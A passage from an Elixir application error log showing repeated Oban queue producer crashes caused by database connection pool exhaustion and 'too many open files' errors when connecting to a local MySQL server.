  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:31:36.239716Z], limit: 5, uuid: "e271bf04-765b-460b-9f63-4b2523ee9982", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:36.239722Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.63152>, refresh_timer: #Reference<0.2525715032.1099431938.63130>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:31:36.239176Z], limit: 3, uuid: "b4e98337-ba64-4b61-8a5f-a147c0ba9e0d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:36.239180Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.196800>, refresh_timer: #Reference<0.2525715032.1121189889.196786>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:31:36.239355Z], limit: 20, uuid: "72a47034-e92c-4fae-9bdf-0ef81ba2bb67", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:36.239361Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.63150>, refresh_timer: #Reference<0.2525715032.1099431938.63121>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:31:36.239307Z], limit: 10, uuid: "85227dd1-ceba-44c5-9d11-4f5db4748a6b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:36.239313Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.63151>, refresh_timer: #Reference<0.2525715032.1099431938.63119>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:48.560000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:49.871000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:50.194000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:51.485000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:56.573000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:32:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:31:48.239497Z], limit: 5, uuid: "78ee1e25-5d01-40a5-8d02-06950851c57c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:48.239503Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.197253>, refresh_timer: #Reference<0.2525715032.1099431938.63212>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:31:48.239691Z], limit: 20, uuid: "60fd42ae-473d-4404-85fc-2f13e57e85cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:48.239696Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.197254>, refresh_timer: #Reference<0.2525715032.1077673987.42234>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:31:48.239623Z], limit: 3, uuid: "35ee650b-b6e4-4838-8eb9-47fe738bfe8c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:48.239627Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.197251>, refresh_timer: #Reference<0.2525715032.1121189889.197214>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:31:48.239466Z], limit: 5, uuid: "902dacc4-ba98-465d-b8c9-2f162ca144fe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:48.239472Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.197255>, refresh_timer: #Reference<0.2525715032.1077673987.42224>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:32:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:31:48.240441Z], limit: 10, uuid: "a7603a7c-7cca-49ca-a64f-071961061f9e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:48.240446Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.197252>, refresh_timer: #Reference<0.2525715032.1099431938.63218>, dispatch_cooldown: 5, running: %{}}
